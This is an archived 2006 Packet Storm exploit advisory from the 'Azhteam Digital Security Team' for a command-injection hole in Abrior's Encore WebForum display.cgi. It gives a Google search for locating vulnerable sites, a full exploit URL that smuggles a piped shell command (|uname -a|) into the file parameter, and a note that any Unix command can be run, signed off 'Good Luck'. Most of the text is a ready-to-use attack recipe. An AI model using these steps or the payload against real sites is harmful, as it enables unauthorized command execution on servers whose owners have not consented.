abrior.txt

2006-06-27T00:00:00
ID PACKETSTORM:47735
Type packetstorm
Reporter soltan_defacer
Modified 2006-06-27T00:00:00

Description

                                        
                                            `#################### Azhteam Digital Security Team ######################  
  
##############################################  
Abrior's Encore WebForum ( display.cgi )  
  
Find by : soltan_defacer  
  
www.azhteam.com  
  
# Greetings; s.defacer - azhteam - lvl3hr - edi.programe  
  
##############################################  
  
Bugs File : /forumcgi/display.cgi?  
  
Display : http://www.target.com/encore/forumcgi/display.cgi?  
  
  
1. search in Google --> allinurl:forumcgi/display.cgi?  
  
2. Get the target site like --> http://www.target.com/encore/forumcgi/display.cgi?preftemp=temp  
  
3. and now go to the exploit with insert this code :   
  
&page=anonymous&file=|uname%20-a|  
  
4. Full Display like :  
  
http://www.target.com/encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=|uname%20-a|  
  
  
5. Linux or Unix command available in here... Good Luck :P~  
  
  
  
  
#################### Azhteam Digital Security Team ######################  
`